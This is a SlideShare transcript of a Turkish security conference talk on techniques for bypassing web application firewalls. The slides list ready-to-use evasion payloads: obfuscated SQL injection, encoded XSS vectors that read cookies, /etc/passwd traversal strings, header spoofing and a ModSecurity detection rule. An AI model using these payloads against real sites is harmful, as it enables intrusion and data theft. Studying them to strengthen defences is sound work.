SlideShare a Scribd company logo
1 of 41
Download to read offline
Siber Güvenlik Ürünlerini Atlatma Yöntemleri
Süleyman Özarslan
• Kurucu ortak ve Ar-Ge yöneticisi @ Picus Security
• Ph.D. Adayı & Araştırmacı @ Orta Doğu Teknik
Üniversitesi
• Siber Savunma Uzmanı ve Eğitmeni @ NATO Bilim ve
Barış için Güvenlik Programı
#whoami
2
3
4
Bu Tehditleri Nasıl Önleyebiliriz?
1. Direkt Yaklaşım: Web uygulamaları geliştirilirken
«güvenli yazılım geliştirme» yöntemlerinin
kullanılması
2. Tespit Edici Yaklaşım: Blackbox/whitebox testler,
fuzzing, kodun statik/dinamik/manuel analizi
3. Önleyici Yaklaşım: Saldırı Engelleme Sistemleri,
Web Uygulama Güvenlik Duvarları (WAF)
5
WAF nedir? (WTF WAF?)
Web Application Firewall = Web Uygulama Güvenlik Duvarı
Atakları, uygulama katmanında (Layer 7) engeller.
6
WAF Nasıl Çalışır?
Gelen HTTP paketlerinin bileşenlerine ayrılması
(parsing)
Verinin normalleştirilmesi (URL decode, base64)
Filtreleme kurallarının işletilmesi (regex vs.)
Kararın verilmesi (doğru, yanlış, skor)
7
WAF Nasıl Çalışır?
Gelen HTTP paketlerinin bileşenlerine ayrılması
(parsing)
Verinin normalleştirilmesi (URL decode, base64)
Filtreleme kurallarının işletilmesi (regex vs.)
Kararın verilmesi (doğru, yanlış, skor)
8
1 İstek
metodu
2 URL host
3 URL yolu
4 URL
sorgusu
5 İstek
başlığı
6 Cevap
Başlığı
9
Örnek HTTP Başlık (Header) Alanları
Header Alanının
Adı
Tanımı Örnek
Host İsteğin gönderildiği alan adı ve portu. Host:
ankara.edu.tr:80
Accept Cevapta kabul edilebilecek içerik
tipleri
Accept: text/plain
Content-Length Byte cinsinden isteğin uzunluğu Content-Length: 348
Content-Type İsteğin tipi (POST ve PUT isteklerinde
kullanılır)
Content-type:
application/pdf
10
Anlamsız
HTTP başlıkları
gönderirsek
ne olur?
11
12
HTTP
parametreleriyle
kafaları
karıştırsak?
13
HTTP Parametre Zehirleme
www.example.com/index.asp?id=1+select+
username,password+from+users
www.example.com/index.asp?id=1+select+
username&id=password+from+users
14
WAF’lar Gelen İsteğin Hangi IP’den
Geldiğini Nasıl Anlar?
15
Cevap: Çoğunlukla Header ‘a bakarlar.
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-remote-ip
16
WAF’ın Kontrol Etmeyeceği IP ‘ler
X-forwarded-for : Cache sunucusu IP adresi
X-remote-IP : Proxy Sunucu IP adresi
X-originating-IP : Local Host (127.0.0.1)
X-remote-addr : Yerel Ağ IP adresi (192.168.1.x)
X-remote-ip : Kafa karıştırıcı karakterler (*, %00)
17
WAF Nasıl Çalışır?
Gelen HTTP paketlerinin bileşenlerine ayrılması
(parsing)
Verinin normalleştirilmesi (URL decode, base64)
Filtreleme kurallarının işletilmesi (regex vs.)
Kararın verilmesi (doğru, yanlış, skor)
18
Verinin Normalleştirilmesi
Format çözümleyiciler (format parsers)
base64
xml
JSON
19
WAF ‘ların ve web uygulamalarının
çözümleyicileri aynı mıdır?
20
Verinin Normalleştirilmesi
Atak: <script>alert(1)</script>
Base64 kodlanmış (encode) hali:
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Illegal karakter ekle (nokta . karakteri):
P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Bazı WAF’lar bunu çözemez (decode) (RFC-4648)
PHP illegal karakterleri göz ardı ettiği için bu karakter
dizesini çözebilir (RFC-2045).
21
WAF Nasıl Çalışır?
Gelen HTTP paketlerinin bileşenlerine ayrılması
(parsing)
Verinin normalleştirilmesi (URL decode, base64)
Filtreleme kurallarının işletilmesi (regex vs.)
Kararın verilmesi (doğru, yanlış, skor)
22
mod_security
/test.php?id=1 or 1=1 or
ModSecurity: Access denied with code 403 (phase 2). Pattern match
"(?i:([s'"`xc2xb4xe2x80x99xe2x80x98()]*?)
b([dw]++)([s'"`xc2xb4xe2x80x99xe2x80x98
()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`xc2xb4
xe2x80x99xe2x80x98()]*?)2b|(?:!=|<=|>=|<>|<
|>|^|iss+not ..." at ARGS:s. [file "/etc/modsecurity/owasp-
crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
"77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology
Detected."] [data "Matched Data: 1=1 found within ARGS:s: 1 or
1=1 or"] [severity "CRITICAL
23
mod_security
/test.php?id=1 or true or
24
SQL Karmaşıkl/**/aşTırmA
(Obfuscation)
Farklı Veri Tabanı Yönetim Sistemleri (VTYS – DBMS) ,
farklı SQL sözdizimlerine (syntax) sahiptir.
Bunların çoğu Unicode, Base64, hex, octal, binary,
hash algoritmaları (MD5, SHA1) gibi farklı ifadeleri
desteklerler.
WAF’ların karalistelerindeki bir çok karakter,
fonksiyonel alternatifleri ile değiştirilebilirler.
Örn: MySQL’de 0xA0 = boşluk karakteri (UTF-8 Hex)
25
Basit Karmaşıklaştırma Örnekleri
<script>alert(123)<script>
<sCripT>AleRt(123)</scRIpt>
id=123 union select user,1,2,3 from table
id=123 uNion SeLeCT user,1,2,3 fRom table
id=123 uniOn SeLEcT BaNneR FroM v$vERsIon
WhERe ROwNUm=1
26
Encoding ile SQL Karmaşıklaştırma
Genel olarak uygulamalarda ', ", <, >, /, ;, |,  gibi
karakterler filtrelenir.
Fakat bu karakterlerin tüm gösterim yöntemleri için
filtreleme yapılmazsa farklı encoding yöntemleri ile
bu kontroller atlatılabilir.
27
Encoding ile SQL Karmaşıklaştırma
1. Ascii – '
2. URL Encode - %27
3. Double URL Encode - %2527
4. UTF-8 (2 byte) - %c0%a7
5. UTF-8 (JAVA) - uc0a7
6. HTML Entity - &apos;
7. HTML Entity Number - &#27;
8. Decimal - &#39
9. Unicode URL Encoding - %u0027
10. Base64 - Jw==
28
Benzer Fonksiyonlar Kullanma
<script>alert("xss">)</script>
<img/src="xss.png"alt="xss">
<object
data="javascript:alert(1)">uyg.asp?id=<object><
param name="src"
value="javascript:alert(1)"></param></object>
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<meta style="xss:expression(open(alert(1)))" />
29
Benzer Mantıksal Operatörler
Kullanma
1. id=123+AND+1=1
2. id=123+&&+1=1
3. id='='
4. id=123+AND+md5('a')!= md5('A')
5. id=123+and+len(@@version)>1
6. id=1'||1='1
7. id=123'+like+'123
8. id=123'+not+like+'1234
9. id='aaa'<>'bbb'
30
Özel Karakterler Kullanmak
Nullbyte, boşluk, slash veya newline karakterleri kullanmak
1. id=%3Cscript%3Ealert(document.cookie)%3C/script%00TESTTEST%3E
2. id=%3Cscript%3Ealert(document.cookie)%3C/script%20TESTTEST%3E
3. id=";eval(unescape(location))//#%0Aalert(0)
4. file=../../../../../etc/passwd/////[…]/////
5. file=../../../../../etc/passwd//////////////
6. uyg.php?file=.//././/././/./boot.ini
7. id%00TESTTEST=1+union+select+1,2,3
31
Yorum Karakterleri Kullanmak
s/*/e/**//**/e/*/**/l/*le*c*//*/*/ect/*~~/**/1
32
Bellek Taşması
d=1 and (select 1)=(Select
0xAAAAAAAAAAAAAAAAAAAAA
1000 tane A)
+UnIoN+SeLeCT+1,2,version(),4,5,
database(),user(),8,9,10,11,12,13,
14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30,31,32,33,34,35,
36–+
33
Karalistedeki Kelimeri Silme
Bazı güvenlik kontrolleri belirli anahtar kelimeleri tamamen
siler.
Bu tip filtreleri şu şekilde atlatabiliriz:
id=1+UNIunionON+SeLselectECT+1,2,3–
union ve select filtreleri silindiğinde geriye bizim istediğimiz
atak isteği kalacaktır:
UNION+SELECT+1,2,3–
34
Yeni SQL Özellikleri WAF ‘ların
Düşmanı, Hacker ’ların dostudur.
MySQL/PostgreSQL
XML fonksiyonlarını
destekler:
SELECT
UpdateXML('<script
x=_></script>',’/script/
@x','src=//0x.lv');
35
36
Teknolojik Limitasyonları
Kullanarak Atlatma
SSL Üzerinden Atlatma
WAF’lar kurulurken genellikle SSL için gerekli ayarlar yapılmaz.
SSL güvenli iletişim sağlamak için trafiği şifreler.
WAF için eğer gerekli SSL ayarları yapılmazsa SSL trafiğini analiz
edemeyeceği için saldırıları engelleyemez.
37
Güçlü SSL Cipher’ları Kullanma
WAF ‘lar SSL trafiğini analiz edebilmek için ayarlanmış olsalar
bile yeterli olmayabilir.
WAF’lar tarafından desteklenmeyen fakat sunucu üzerindeki
desteği bulunan SSL cipher'ları kullanılabilir.
38
Yük Yaratarak Atlatma
WAF aşırı yüklendiğinde ne
olur?
Aşırı yüklemek için WAF’ı yoran
istekler gönderilebilir:
XML, SOAP, regular expression
DOS (Denial of Service – Hizmet
Engelleme) atakları
DDoS (Distrubuted DoS –
Dağıtık Hizmet Engelleme)
atakları
39
Sonuçlar
WAF ‘lar genel olarak
«blacklisting» modda
regex kurallarıyla atakları engellemeye çalışırlar.
Bu yüzden tanımlı kurallara uymayan saldırılar kullanılarak her
WAF atlatılabilir.
Fakat, güvenlik bakış açısıyla maliyet etkin (cost-effective)
olabilirler.
Bu yüzden özellikle kritik web uygulamalarının WAF ile
korunması önerilmektedir.
40
Sorular?
Süleyman Özarslan
suleyman@picussecurity.com
@su13ym4n
41

More Related Content

What's hot

Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıBGA Cyber Security
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBGA Cyber Security
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak DerslerBGA Cyber Security
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziBGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBGA Cyber Security
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6BGA Cyber Security
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriEPICROUTERS
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiBGA Cyber Security
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıAhmet Gürel
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 

What's hot (20)

Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme ÇalışmalarıWindows İşletim Sistemi Yetki Yükseltme Çalışmaları
Windows İşletim Sistemi Yetki Yükseltme Çalışmaları
 
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab KitabıBeyaz Şapkalı Hacker (CEH) Lab Kitabı
Beyaz Şapkalı Hacker (CEH) Lab Kitabı
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
 
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı AnaliziKurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
Kurumsal Ağlarda Log İnceleme Yöntemiyle Saldırı Analizi
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Hacking'in Mavi Tarafı -1
Hacking'in Mavi Tarafı  -1Hacking'in Mavi Tarafı  -1
Hacking'in Mavi Tarafı -1
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleri
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama Güvenliği
 
Metasploit Framework Eğitimi
Metasploit Framework EğitimiMetasploit Framework Eğitimi
Metasploit Framework Eğitimi
 
Mobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim DökümanıMobil Pentest Eğitim Dökümanı
Mobil Pentest Eğitim Dökümanı
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 

Similar to WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

Web İçin Teknoloji Geliştirmek
Web İçin Teknoloji GeliştirmekWeb İçin Teknoloji Geliştirmek
Web İçin Teknoloji GeliştirmekVolkan Özçelik
 
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web AtaklarıBGA Cyber Security
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMIErtugrul Akbas
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisationirfandurmus
 
Dspace Migration and Dspace Piwik Integration
Dspace Migration and Dspace Piwik IntegrationDspace Migration and Dspace Piwik Integration
Dspace Migration and Dspace Piwik IntegrationMesut Güngör
 
Güvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxGüvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxanilyelken
 
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş Süreci
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş SüreciASP.NET MVC'den ASP.NET Core MVC'ye Geçiş Süreci
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş SüreciSinan Bozkuş
 
Metasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiMetasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiFatih Ozavci
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Securitymtimur
 
Uç Nokta Güvenliği
Uç Nokta GüvenliğiUç Nokta Güvenliği
Uç Nokta GüvenliğiFevziye Tas
 
OWASPTR Uygulama Güvenliği Günü 2013
OWASPTR Uygulama Güvenliği Günü 2013OWASPTR Uygulama Güvenliği Günü 2013
OWASPTR Uygulama Güvenliği Günü 2013Onur Alanbel
 

Similar to WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan (20)

.Net ile yazılım güvenliği
.Net ile yazılım güvenliği.Net ile yazılım güvenliği
.Net ile yazılım güvenliği
 
Web İçin Teknoloji Geliştirmek
Web İçin Teknoloji GeliştirmekWeb İçin Teknoloji Geliştirmek
Web İçin Teknoloji Geliştirmek
 
Java EE Struts
Java EE StrutsJava EE Struts
Java EE Struts
 
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları2013 - APPSEC  - Saldırı Engelleme Sistemleri ve Web Atakları
2013 - APPSEC - Saldırı Engelleme Sistemleri ve Web Atakları
 
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMISINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
SINIFLANDIRMA TEMELLİ KORELASYON YAKLAŞIMI
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Jsf
JsfJsf
Jsf
 
Php refactoring
Php refactoringPhp refactoring
Php refactoring
 
Visual Studio Developer Tools
Visual Studio Developer ToolsVisual Studio Developer Tools
Visual Studio Developer Tools
 
Javascript Performance Optimisation
Javascript Performance OptimisationJavascript Performance Optimisation
Javascript Performance Optimisation
 
Asp.net ajax
Asp.net ajaxAsp.net ajax
Asp.net ajax
 
Dspace Migration and Dspace Piwik Integration
Dspace Migration and Dspace Piwik IntegrationDspace Migration and Dspace Piwik Integration
Dspace Migration and Dspace Piwik Integration
 
Javascript Injections
Javascript InjectionsJavascript Injections
Javascript Injections
 
Güvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptxGüvenli Yazılım Geliştirme.pptx
Güvenli Yazılım Geliştirme.pptx
 
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş Süreci
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş SüreciASP.NET MVC'den ASP.NET Core MVC'ye Geçiş Süreci
ASP.NET MVC'den ASP.NET Core MVC'ye Geçiş Süreci
 
Metasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik DenetimiMetasploit Framework ile Güvenlik Denetimi
Metasploit Framework ile Güvenlik Denetimi
 
Dogus University-Web Application Security
Dogus University-Web Application SecurityDogus University-Web Application Security
Dogus University-Web Application Security
 
Java Server Faces
Java Server FacesJava Server Faces
Java Server Faces
 
Uç Nokta Güvenliği
Uç Nokta GüvenliğiUç Nokta Güvenliği
Uç Nokta Güvenliği
 
OWASPTR Uygulama Güvenliği Günü 2013
OWASPTR Uygulama Güvenliği Günü 2013OWASPTR Uygulama Güvenliği Günü 2013
OWASPTR Uygulama Güvenliği Günü 2013
 

WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

  • 1. Siber Güvenlik Ürünlerini Atlatma Yöntemleri Süleyman Özarslan
  • 2. • Kurucu ortak ve Ar-Ge yöneticisi @ Picus Security • Ph.D. Adayı & Araştırmacı @ Orta Doğu Teknik Üniversitesi • Siber Savunma Uzmanı ve Eğitmeni @ NATO Bilim ve Barış için Güvenlik Programı #whoami 2
  • 3. 3
  • 4. 4
  • 5. Bu Tehditleri Nasıl Önleyebiliriz? 1. Direkt Yaklaşım: Web uygulamaları geliştirilirken «güvenli yazılım geliştirme» yöntemlerinin kullanılması 2. Tespit Edici Yaklaşım: Blackbox/whitebox testler, fuzzing, kodun statik/dinamik/manuel analizi 3. Önleyici Yaklaşım: Saldırı Engelleme Sistemleri, Web Uygulama Güvenlik Duvarları (WAF) 5
  • 6. WAF nedir? (WTF WAF?) Web Application Firewall = Web Uygulama Güvenlik Duvarı Atakları, uygulama katmanında (Layer 7) engeller. 6
  • 7. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 7
  • 8. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 8
  • 9. 1 İstek metodu 2 URL host 3 URL yolu 4 URL sorgusu 5 İstek başlığı 6 Cevap Başlığı 9
  • 10. Örnek HTTP Başlık (Header) Alanları Header Alanının Adı Tanımı Örnek Host İsteğin gönderildiği alan adı ve portu. Host: ankara.edu.tr:80 Accept Cevapta kabul edilebilecek içerik tipleri Accept: text/plain Content-Length Byte cinsinden isteğin uzunluğu Content-Length: 348 Content-Type İsteğin tipi (POST ve PUT isteklerinde kullanılır) Content-type: application/pdf 10
  • 12. 12
  • 15. WAF’lar Gelen İsteğin Hangi IP’den Geldiğini Nasıl Anlar? 15
  • 16. Cevap: Çoğunlukla Header ‘a bakarlar. X-forwarded-for X-remote-IP X-originating-IP X-remote-addr X-remote-ip 16
  • 17. WAF’ın Kontrol Etmeyeceği IP ‘ler X-forwarded-for : Cache sunucusu IP adresi X-remote-IP : Proxy Sunucu IP adresi X-originating-IP : Local Host (127.0.0.1) X-remote-addr : Yerel Ağ IP adresi (192.168.1.x) X-remote-ip : Kafa karıştırıcı karakterler (*, %00) 17
  • 18. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 18
  • 19. Verinin Normalleştirilmesi Format çözümleyiciler (format parsers) base64 xml JSON 19
  • 20. WAF ‘ların ve web uygulamalarının çözümleyicileri aynı mıdır? 20
  • 21. Verinin Normalleştirilmesi Atak: <script>alert(1)</script> Base64 kodlanmış (encode) hali: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== Illegal karakter ekle (nokta . karakteri): P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== Bazı WAF’lar bunu çözemez (decode) (RFC-4648) PHP illegal karakterleri göz ardı ettiği için bu karakter dizesini çözebilir (RFC-2045). 21
  • 22. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 22
  • 23. mod_security /test.php?id=1 or 1=1 or ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"`xc2xb4xe2x80x99xe2x80x98()]*?) b([dw]++)([s'"`xc2xb4xe2x80x99xe2x80x98 ()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`xc2xb4 xe2x80x99xe2x80x98()]*?)2b|(?:!=|<=|>=|<>|< |>|^|iss+not ..." at ARGS:s. [file "/etc/modsecurity/owasp- crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:s: 1 or 1=1 or"] [severity "CRITICAL 23
  • 25. SQL Karmaşıkl/**/aşTırmA (Obfuscation) Farklı Veri Tabanı Yönetim Sistemleri (VTYS – DBMS) , farklı SQL sözdizimlerine (syntax) sahiptir. Bunların çoğu Unicode, Base64, hex, octal, binary, hash algoritmaları (MD5, SHA1) gibi farklı ifadeleri desteklerler. WAF’ların karalistelerindeki bir çok karakter, fonksiyonel alternatifleri ile değiştirilebilirler. Örn: MySQL’de 0xA0 = boşluk karakteri (UTF-8 Hex) 25
  • 26. Basit Karmaşıklaştırma Örnekleri <script>alert(123)<script> <sCripT>AleRt(123)</scRIpt> id=123 union select user,1,2,3 from table id=123 uNion SeLeCT user,1,2,3 fRom table id=123 uniOn SeLEcT BaNneR FroM v$vERsIon WhERe ROwNUm=1 26
  • 27. Encoding ile SQL Karmaşıklaştırma Genel olarak uygulamalarda ', ", <, >, /, ;, |, gibi karakterler filtrelenir. Fakat bu karakterlerin tüm gösterim yöntemleri için filtreleme yapılmazsa farklı encoding yöntemleri ile bu kontroller atlatılabilir. 27
  • 28. Encoding ile SQL Karmaşıklaştırma 1. Ascii – ' 2. URL Encode - %27 3. Double URL Encode - %2527 4. UTF-8 (2 byte) - %c0%a7 5. UTF-8 (JAVA) - uc0a7 6. HTML Entity - &apos; 7. HTML Entity Number - &#27; 8. Decimal - &#39 9. Unicode URL Encoding - %u0027 10. Base64 - Jw== 28
  • 29. Benzer Fonksiyonlar Kullanma <script>alert("xss">)</script> <img/src="xss.png"alt="xss"> <object data="javascript:alert(1)">uyg.asp?id=<object>< param name="src" value="javascript:alert(1)"></param></object> <isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image> <img src=x:alert(alt) onerror=eval(src) alt=0> <meta style="xss:expression(open(alert(1)))" /> 29
  • 30. Benzer Mantıksal Operatörler Kullanma 1. id=123+AND+1=1 2. id=123+&&+1=1 3. id='=' 4. id=123+AND+md5('a')!= md5('A') 5. id=123+and+len(@@version)>1 6. id=1'||1='1 7. id=123'+like+'123 8. id=123'+not+like+'1234 9. id='aaa'<>'bbb' 30
